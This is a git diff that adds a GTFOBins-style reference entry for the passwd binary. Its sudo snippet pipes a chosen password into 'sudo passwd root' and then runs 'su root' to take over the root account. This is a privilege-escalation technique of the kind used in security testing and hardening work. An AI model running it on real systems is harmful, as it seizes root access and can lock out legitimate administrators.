diff --git a/_gtfobins/passwd.md b/_gtfobins/passwd.md new file mode 100644 index 00000000..bd7bc548 --- /dev/null +++ b/_gtfobins/passwd.md @@ -0,0 +1,8 @@ +--- +functions: + sudo: + - code: | + PASS=new_password_here + echo -e "$PASS\n$PASS" | sudo passwd root + su root +---